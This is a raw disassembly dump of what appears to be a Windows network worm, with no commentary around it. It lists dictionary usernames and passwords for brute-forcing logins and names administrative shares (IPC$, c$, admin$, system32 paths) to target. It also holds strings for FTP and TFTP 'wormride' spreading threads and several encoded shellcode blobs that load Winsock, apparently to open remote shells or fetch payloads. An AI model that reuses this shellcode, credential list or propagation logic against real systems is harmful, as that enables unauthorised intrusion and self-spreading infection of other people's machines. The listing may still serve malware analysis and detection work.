		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOemuser	; "oemuser"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-7FFFBE3Dh], cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[ebx+eax*8+41h], ah
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[ebx+eax*8+41h], dl
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
		dd offset aC_0		; "c$"
		dd offset aD		; "d$"
; ---------------------------------------------------------------------------
		fadd	st(2), st
		inc	ecx
		add	al, dl
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aDShared	; "d$\\shared"
; ---------------------------------------------------------------------------
		mov	eax, 0AC0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		mov	al, ds:8C0041C2h
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aCWindowsSystem ; "c$\\windows\\system32"
; ---------------------------------------------------------------------------
		push	600041C2h
		retn	41h
; ---------------------------------------------------------------------------
		xor	dl, al
		inc	ecx
		add	[eax], ch
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aIpc		; "IPC$"
		dd 0
		dd offset byte_41DF10
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
; ---------------------------------------------------------------------------
		aam	0C4h
		inc	ecx
		add	al, cl
		les	eax, [ecx+0]
		rol	ah, 41h
		add	[eax-4BFFBE3Ch], bh
		les	eax, [ecx+0]
		sbb	al, 0C2h
		inc	ecx
		add	[eax], bl
		retn	41h
; ---------------------------------------------------------------------------
		adc	al, 0C2h
		inc	ecx
		add	[eax], cl
		retn	41h
; ---------------------------------------------------------------------------
		cld
		rol	dword ptr [ecx+0], 0F4h
		rol	dword ptr [ecx+0], 0F0h
		rol	dword ptr [ecx+0], 0E4h
		rol	dword ptr [ecx+0], 0DCh
		rol	dword ptr [ecx+0], 0D8h
		rol	dword ptr [ecx+0], 0D4h
		rol	dword ptr [ecx+0], 0D0h
		rol	dword ptr [ecx+0], 0CCh
		rol	dword ptr [ecx+0], 0C8h
		rol	dword ptr [ecx+0], 0C0h
		rol	dword ptr [ecx+0], 0B8h
		rol	dword ptr [ecx+0], 0B0h
		rol	dword ptr [ecx+0], 0A8h
		rol	dword ptr [ecx+0], 9Ch
		rol	dword ptr [ecx+0], 90h
		rol	dword ptr [ecx+0], 84h
		rol	dword ptr [ecx+0], 7Ch
		rol	dword ptr [ecx+0], 70h
		rol	dword ptr [ecx+0], 68h
		rol	dword ptr [ecx+0], 60h
		rol	dword ptr [ecx+0], 50h
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], bl
		inc	ecx
		add	[eax+44004198h], dl
		xchg	eax, edx
		inc	ecx
		add	[eax-3Fh], dl
		inc	ecx
		add	[eax-3Fh], cl
		inc	ecx
		add	[eax-3Fh], al
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aDemo		; "demo"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aNull		; "null"
		dd offset aTemp		; "temp"
		dd offset aTemp123	; "temp123"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aSex		; "sex"
		dd offset aLetmein	; "letmein"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], bh
		inc	ecx
		add	[eax+eax*8+41h], ch
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-40h], ah
		inc	ecx
		add	[eax-40h], bl
		inc	ecx
		add	[eax-40h], dl
		inc	ecx
		add	[eax-40h], cl
		inc	ecx
		add	al, dh
		rol	byte ptr [ecx+0], 88h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], al
		inc	ecx
		add	[eax], bh
		rol	byte ptr [ecx+0], 30h
		rol	byte ptr [ecx+0], 28h
		rol	byte ptr [ecx+0], 80h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax+eax*8], bl
		inc	ecx
		add	[eax+eax*8], cl
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[eax+eax*8], al
		inc	ecx
		add	al, bh
		mov	edi, 0BFE80041h
		inc	ecx
		add	[ebx+eax*8+41h], ah
		add	ah, dl
		mov	edi, 0BFD00041h
		inc	ecx
		add	ah, cl
		mov	edi, 0BFC40041h
		inc	ecx
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[eax-5BFFBE41h], dh
		mov	edi, 0C3540041h
		inc	ecx
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-67FFBE41h], ah
		mov	edi, 0BF940041h
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[edi+edi*4-407BFFBFh], cl
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
aWinpass	db 'winpass',0
aBlank		db 'blank',0
		align 4
aXp_0		db 'xp',0
		align 4
aNokia		db 'nokia',0
		align 10h
aHp		db 'hp',0
		align 4
aOrainstall	db 'orainstall',0
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0
		align 4
aDb1234		db 'db1234',0
		align 4
aDb2		db 'db2',0
aDb1		db 'db1',0
aDatabasepasswo	db 'databasepassword',0
		align 4
aDatabasepass	db 'databasepass',0
		align 4
aDbpassword	db 'dbpassword',0
		align 4
aDbpass		db 'dbpass',0
		align 4
aDomainpassword	db 'domainpassword',0
		align 4
aDomainpass	db 'domainpass',0
		align 4
aHello		db 'hello',0
		align 10h
aHell		db 'hell',0
		align 4
aLove		db 'love',0
		align 10h
aMoney		db 'money',0
		align 4
aSlut		db 'slut',0
		align 10h
aBitch		db 'bitch',0
		align 4
aFuck		db 'fuck',0
		align 10h
aExchange	db 'exchange',0
		align 4
aLoginpass	db 'loginpass',0
		align 4
aLogin		db 'login',0
		align 10h
aQwe		db 'qwe',0              ; DATA XREF: .packed:0041BE4Co
aZxc		db 'zxc',0              ; DATA XREF: .packed:0041BE48o
aAsd		db 'asd',0              ; DATA XREF: .packed:0041BE44o
aQaz		db 'qaz',0              ; DATA XREF: .packed:0041BE40o
aWin2000	db 'win2000',0          ; DATA XREF: .packed:0041BE3Co
aWinnt		db 'winnt',0            ; DATA XREF: .packed:0041BE38o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: .packed:0041BE34o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .packed:0041BE30o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: .packed:0041BE2Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: .packed:0041BE28o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .packed:0041BE20o
		align 4
aOem		db 'oem',0              ; DATA XREF: .packed:0041BE18o
aAccounting	db 'accounting',0       ; DATA XREF: .packed:0041BE08o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .packed:0041BE04o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .packed:0041BE00o
aSex		db 'sex',0              ; DATA XREF: .packed:0041BDFCo
aOutlook	db 'outlook',0          ; DATA XREF: .packed:0041BDECo
aMail		db 'mail',0             ; DATA XREF: .packed:0041BDE8o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .packed:0041BDE4o
		align 4
aTemp123	db 'temp123',0          ; DATA XREF: .packed:0041BDE0o
aTemp		db 'temp',0             ; DATA XREF: .packed:0041BDDCo
		align 4
aNull		db 'null',0             ; DATA XREF: .packed:0041BDD8o
		align 4
aDefault	db 'default',0          ; DATA XREF: .packed:0041BDC8o
aChangeme	db 'changeme',0         ; DATA XREF: .packed:0041BDC4o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .packed:0041BDB4o
		align 10h
aTest		db 'test',0
		align 4
a2005		db '2005',0
		align 10h
a2004		db '2004',0
		align 4
a2001		db '2001',0
		align 10h
aSecret		db 'secret',0
		align 4
aPayday		db 'payday',0
		align 10h
aDeadline	db 'deadline',0
		align 4
aWork		db 'work',0
		align 4
a1234567890	db '1234567890',0
		align 10h
a123456789	db '123456789',0
		align 4
a12345678	db '12345678',0
		align 4
a1234567	db '1234567',0
a123456		db '123456',0
		align 4
a12345		db '12345',0
		align 10h
a1234		db '1234',0
		align 4
a123		db '123',0
a12		db '12',0
		align 10h
a1:
		unicode	0, <1>,0
a007		db '007',0
aPwd		db 'pwd',0
aPass		db 'pass',0
		align 4
aPass1234	db 'pass1234',0
		align 10h
aDba		db 'dba',0
aPasswd		db 'passwd',0
		align 4
aPassword	db 'password',0         ; DATA XREF: .packed:0041D848o
		align 4
aPassword1	db 'password1',0
		align 4
aAbc		db 'abc',0
aAb		db 'ab',0
		align 4
aA_1:
		unicode	0, <a>,0
aIpc		db 'IPC$',0             ; DATA XREF: .packed:0041BD04o
		align 4
aPrint		db 'print$',0
		align 10h
aCDocumentsAndS	db 'C$\Documents and Settings\All Users\Documents\$',0
aAdmin_0	db 'admin$',0
		align 4
aAdminSystem32	db 'Admin$\system32',0
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: .packed:0041BCF0o
aCWinntSystem32	db 'c$\winnt\system32',0
		align 10h
aCWindows	db 'c$\windows',0
		align 4
aCWinnt		db 'c$\winnt',0
		align 4
aEShared	db 'e$\shared',0
		align 4
aDShared	db 'd$\shared',0        ; DATA XREF: .packed:0041BCDCo
		align 10h
aCShared	db 'c$\shared',0
		align 4
aE_0		db 'e$',0
		align 10h
aD		db 'd$',0               ; DATA XREF: .packed:0041BCD0o
		align 4
aC_0		db 'c$',0               ; DATA XREF: .packed:0041BCCCo
		align 4
aStaff		db 'staff',0            ; DATA XREF: .packed:0041BCC4o
					; .packed:0041BF7Co
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: .packed:0041BCC0o
					; .packed:0041BF78o
aOwner		db 'owner',0
		align 10h
aStudent	db 'student',0          ; DATA XREF: .packed:0041BCB8o
					; .packed:0041BF70o
aIntranet	db 'intranet',0
		align 4
aLan_0		db 'lan',0
aMain		db 'main',0             ; DATA XREF: .packed:00416ACAo
					; .packed:00416AECo
		align 10h
aOffice		db 'office',0
		align 4
aControl	db 'control',0
aSiemens	db 'siemens',0
aCompaq		db 'compaq',0
		align 10h
aDell		db 'dell',0
		align 4
aCisco		db 'cisco',0
		align 10h
aIbm		db 'ibm',0
aOracle		db 'oracle',0
		align 4
aSql		db 'sql',0
aSa		db 'sa',0
		align 4
aData		db 'data',0
		align 4
aAccess		db 'access',0
		align 4
aDatabase	db 'database',0
		align 10h
aDomain		db 'domain',0
		align 4
aGod		db 'god',0
aBackup		db 'backup',0
		align 4
aTechnical	db 'technical',0
		align 10h
aMary		db 'mary',0
		align 4
aKatie		db 'katie',0
		align 10h
aKate		db 'kate',0
		align 4
aGeorge		db 'george',0
		align 10h
aEric		db 'eric',0
		align 4
aNone		db 'none',0
		align 10h
aGuest		db 'guest',0
		align 4
aChris		db 'chris',0
		align 10h
aIan		db 'ian',0
aNeil		db 'neil',0
		align 4
aLee		db 'lee',0
aBrian		db 'brian',0
		align 4
aSusan		db 'susan',0
		align 10h
aSue		db 'sue',0              ; DATA XREF: .packed:0041BC24o
					; .packed:0041BE78o
aSam		db 'sam',0              ; DATA XREF: .packed:0041BC20o
					; .packed:0041BE74o
aLuke		db 'luke',0             ; DATA XREF: .packed:0041BC1Co
					; .packed:0041BE70o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: .packed:0041BC18o
					; .packed:0041BE6Co
		align 4
aJohn		db 'john',0             ; DATA XREF: .packed:0041BC14o
					; .packed:0041BE68o
		align 10h
aMike		db 'mike',0             ; DATA XREF: .packed:0041BC10o
					; .packed:0041BE64o
		align 4
aBill		db 'bill',0             ; DATA XREF: .packed:0041BC0Co
					; .packed:0041BE60o
		align 10h
aFred		db 'fred',0             ; DATA XREF: .packed:0041BC08o
					; .packed:0041BE5Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: .packed:0041BC04o
					; .packed:0041BE58o
aJen		db 'jen',0              ; DATA XREF: .packed:0041BC00o
					; .packed:0041BE54o
aBob		db 'bob',0              ; DATA XREF: .packed:0041BBFCo
					; .packed:0041BE50o
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .packed:0041BBF8o
					; .packed:0041BE24o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: .packed:0041BBF4o
					; .packed:0041BE1Co
aUser		db 'user',0             ; DATA XREF: .packed:0041BBF0o
					; .packed:0041BE14o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: .packed:0041BBECo
					; .packed:0041BE10o
		align 4
aHome		db 'home',0             ; DATA XREF: .packed:0041BBE8o
					; .packed:0041BE0Co
		align 4
aInternet	db 'internet',0         ; DATA XREF: .packed:0041BBE4o
					; .packed:0041BDF8o
		align 10h
aWww		db 'www',0              ; DATA XREF: .packed:0041BBE0o
					; .packed:0041BDF4o
aWeb		db 'web',0              ; DATA XREF: .packed:0041BBDCo
					; .packed:0041BDF0o
aRoot		db 'root',0             ; DATA XREF: .packed:0041BBD8o
					; .packed:0041BDD4o
		align 10h
aServer_0	db 'server',0           ; DATA XREF: .packed:0041BBD4o
					; .packed:0041BDD0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .packed:0041BBCCo
					; .packed:0041BDC0o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: .packed:0041BBC8o
					; .packed:0041BDBCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: .packed:0041BBC4o
					; .packed:0041BDB8o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .packed:0041BBC0o
aAdmin		db 'admin',0            ; DATA XREF: .packed:0041BBBCo
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: .packed:0041BBB8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .packed:0041BBB4o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .packed:0041BBB0o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .packed:0041BBACo
					; .packed:0041BD14o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: .packed:0041BBA8o
					; .packed:0041BD10o
		align 4
a231		db '231 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B:loc_4119BAo
a221		db '221 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+843o
dword_41C514	dd 1471A0h			align 10h
unk_41C520	db  2Dh	; -		; DATA XREF: sub_41113B+80Do
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TransferToSC	db '- %u. Transfer to %s complete.',0
aFtp_0		db 'ftp',0              ; DATA XREF: sub_41113B+808o
dword_41C54C	dd 16BF48h			dd 2 dup(0)
dword_41C558	dd 20363232h, 0A0D2Dh					; sub_41113B+7AAo
aX32000Fh1024Ja	db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo
		db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
		db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
		align 4
a150		db '150 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+5C7o
					; sub_41113B+751o
dword_41C5DC	dd 1192A0h			dd 2 dup(0)
dword_41C5E8	dd 20333132h, 0A0D7525h, 0dword_41C5F4	dd 9AAA8h			align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o
		align 4
dword_41C614	dd 10E3A0h			align 10h
dword_41C620	dd 20353234h, 0A0D2Dhdword_41C628	dd 123230h			dd 2 dup(0)
dword_41C634	dd 20303032h, 0A0D2Dh					; sub_41113B+4A6o
dword_41C63C	dd 949E8h			dd 2 dup(0)
dword_41C648	dd 20373532h, 20222F22h, 0A0D2Dhdword_41C654	dd 238A0h			dd 0
dword_41C65C	dd 20313132h, 0A0D2Dhdword_41C664	dd 0B3160h			align 10h
dword_41C670	dd 20353132h, 0A0D2Dhdword_41C678	dd 9B2A0h			dd 2 dup(0)
dword_41C684	dd 20303332h, 0A0D2Dhdword_41C68C	dd 1230E8h			dd 2 dup(0)
dword_41C698	dd 20313333h, 0A0D2Dhdword_41C6A0	dd 128588h			dd 2 dup(0)
dword_41C6AC	dd 0A0D20h						; sub_41113B+115o ...
dword_41C6B0	dd 20303232h, 0A0D2Dhdword_41C6B8	dd 303332h	dword_41C6BC	dd 53534150h, 0A0D3120h, 0dword_41C6C8	dd 313333h	dword_41C6CC	dd 52455355h, 0A0D3120h, 0dword_41C6D8	dd 303232h	unk_41C6DC	db  2Dh	; -		; DATA XREF: sub_411BBC+115o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningFtpWorm	db '- Running FTP wormride thread',0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_411BBC+6Eo
		align 10h
aFtpWormrideThr	db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o
dword_41C724	dd 4000500h, 7868746Bh,	0unk_41C730	db  2Dh	; -		; DATA XREF: sub_411DC5+5BDo
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TftpTransfer	db '- %u. tftp transfer to %s complete.',0
		align 10h
aWormride	db 'wormride',0         ; DATA XREF: sub_411DC5+5B8o
		align 4
dword_41C76C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_411DC5+367o
aOctet		db 'octet',0            ; DATA XREF: sub_411DC5+333o
					; sub_411DC5+345o
		align 4
unk_41C788	db  2Dh	; -		; DATA XREF: sub_411DC5+144o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningTftpWor	db '- Running TFTP wormride thread',0
aTftpWormrideTh	db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo
		align 4


loc_41C7C8:				; DATA XREF: sub_4125DF+50o
		jmp	short loc_41C7DF
; ---------------------------------------------------------------------------


loc_41C7CA:				; CODE XREF: .packed:loc_41C7DFp
		mov	ecx, 0
		xor	ecx, 0
		pop	esi


loc_41C7D6:				; CODE XREF: .packed:0041C7DBj
		xor	byte ptr [ecx+esi-1], 0
		loop	loc_41C7D6
		jmp	short near ptr dword_41C7E4
; ---------------------------------------------------------------------------


loc_41C7DF:				; CODE XREF: .packed:loc_41C7C8j
		call	loc_41C7CA
; ---------------------------------------------------------------------------
dword_41C7E4	dd 0		dword_41C7E8	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+CBo
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
		dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C89C	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+8Co
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 2685353h, 8B000000h,	6AD88BD4h, 0BA535210h, 0C2A69000h
		dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
		dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
		dd 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C964	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+36o
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
		dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h,	75222222h
		dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh,	20EC8300h
		dd 0BFEA758Bh, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41CA18	dd 8B20EC83h, 45D89ECh,	81007D89h, 200ECh, 14658900h, 8B64DB33h
					; DATA XREF: sub_412720+71o
		dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
		dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
		dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
		dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh,	38B048Bh
		dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h,	6E92BA54h
		dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
		dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh,	3 dup(0)
		dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h,	0BA1875FFh
		dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
		dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
		dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh,	0B9BA1C75h
		dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
		dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h,	8BFDE2ABh
		dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h,	0FF2694F1h
		dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h,	0C5935CBAh
		dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
		dd 7315685h, 7D8BD6FFh,	46BABA08h, 0D6FFC10Ch
		db 0
byte_41CB95	db 0E3h			; DATA XREF: sub_4125DF+CFr
					; sub_4125DF+E4w
		align 4
dword_41CB98	dd 4113E68Bh						; sub_4125DF+75w
		align 10h
off_41CBA0	dd offset dword_41CD04	; DATA XREF: sub_4127D0+77r
		dd offset dword_41CCF8
		dd 0
		dd offset dword_41CCE0
		dd offset dword_41CCD4
		align 8
		dd offset dword_41CCB8
		dd offset dword_41CCAC
		dd 0
		dd offset dword_41CC90
		dd offset dword_41CC84
		align 10h
		dd offset dword_41CC64
		dd offset dword_41CC58
		dd 0
		dd offset dword_41CC38
		dd offset dword_41CC2C
		align 8
		dd offset dword_41CC0C
		dd offset dword_41CC00
		dd 4 dup(0)
dword_41CC00	dd 0A9DCC5EDh, 2 dup(0)					; .packed:0041DB6Co
dword_41CC0C	dd 0F09F9DB5h, 0CDEBA2EDh, 0BE8FE2A0h, 0F4A1E0A8h, 0BF879FBAh
					; DATA XREF: .packed:0041CBE8o
					; .packed:0041DB68o
		dd 0CDF4E2EAh, 2 dup(0)
dword_41CC2C	dd 0A3D7CFE8h, 2 dup(0)					; .packed:0041DB60o
dword_41CC38	dd 0FD8E88B6h, 8CFCEDEAh, 0A781FBA6h, 0E5B4F8ABh, 0FF8795BCh
